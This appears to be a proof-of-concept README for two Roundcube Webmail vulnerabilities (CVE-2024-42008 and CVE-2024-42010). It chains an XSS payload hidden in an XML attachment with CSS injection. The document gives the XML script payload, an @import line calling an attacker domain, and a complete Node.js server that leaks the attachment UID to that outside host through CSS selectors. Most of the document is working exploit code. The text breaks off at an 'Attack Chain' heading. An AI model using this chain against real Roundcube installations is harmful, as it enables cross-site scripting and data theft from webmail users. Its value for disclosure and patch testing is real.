You can check the GitHub repository here
This proof of concept (PoC) demonstrates the exploitation of two vulnerabilities in Roundcube Webmail version 1.6.7 and below, and in version 1.5.7 and below that enable CSS injection and a cross-site scripting (XSS). The attack consists of two stages:
XSS via malicious XML attachment (CVE-2024-42008)
Because of insufficient file upload checks, an XML file can be sent as an attachment with JavaScript code e.g.
<something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
alert(origin)
</something:script>
This was a known issue and tracked as CVE-2020-13965 and the mitigation was to disable the "Open attachment" option. But the file can still be accessed through the endpoint
<https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get>
Where UID is the unique identifier for this particular attachment in this particular mailbox (i.e. INBOX).
HTML exfiltration via CSS injection (CVE-2024-42010)
When sending an email, it is possible to injection your own CSS file, when hosted in a domain that starts with a
. Through that and a JavaScript server file that processes the requests made by the vulnerable Roundcube host, it is possible to extract the UID of the malicious XSS attachment.
Import the CSS in a sent email with
<style>
@import "//a.attackerdomain.com/start?"
</style>
Host the JS server that exfiltrates the UID of the malicious attachment
// Research: <https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf>
// Original code: <https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231>
const https = require('https');
const http = require('http'); // For HTTP to HTTPS redirection (optional)
const url = require('url');
const fs = require('fs');
const port = 443; // Default HTTPS port
const HOSTNAME = "<https://a.attackerdomain.com>";
const DEBUG = false;
var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;
// SSL certificates
const options = {
key: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/privkey.pem'),
cert: fs.readFileSync('/etc/letsencrypt/live/[a.attackerdomain.com]/fullchain.pem')
};
const requestHandler = (request, response) => {
let req = url.parse(request.url, url);
log('\\treq: %s', request.url);
if (stop) return response.end();
switch (req.pathname) {
case "/start":
genResponse(response);
break;
case "/leak":
response.end();
if (req.query.pre && prefix !== req.query.pre) {
prefix = req.query.pre;
} else if (req.query.post && postfix !== req.query.post) {
postfix = req.query.post;
} else {
break;
}
if (ready == 1) {
genResponse(pending.shift());
ready = 0;
} else {
ready++;
log('\\tleak: waiting others...');
}
break;
case "/next":
console.log(n)
if (ready == 1) {
genResponse(response);
ready = 0;
} else {
pending.push(response);
ready++;
log('\\tquery: waiting others...');
}
break;
case "/end":
stop = true;
console.log('[+] END: %s', req.query.token);
default:
response.end();
}
}
const genResponse = (response) => {
console.log('...post-payload: ' + postfix);
let css = '@import url(' + HOSTNAME + '/next?' + Math.random() + ');' +
[1,2,3,4,5,6,7,8,9,0,'='].map(e => ('a[id=rcmbtnfrm100][href*="_uid=' + postfix + e + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + postfix + e + ')}')).join('') +
'div '.repeat(n) + 'a{background:var(--e'+n+')} ' +
'a[id=rcmbtnfrm100][href='+ postfix + prefix + ']{list-style:url(' + HOSTNAME + '/end?token=' + postfix + prefix + '&)};';
response.writeHead(200, { 'Content-Type': 'text/css' });
response.write(css);
response.end();
n++;
}
// HTTPS server
const server = https.createServer(options, requestHandler);
server.listen(port, (err) => {
if (err) {
return console.log('[-] Error: something bad happened', err);
}
console.log('[+] HTTPS Server is listening on %d', port);
});
// redirect HTTP traffic
http.createServer((req, res) => {
res.writeHead(301, { "Location": "https://" + req.headers['host'] + req.url });
res.end();
}).listen(80);
function log() {
if (DEBUG) console.log.apply(console, arguments);
}
Attack Chain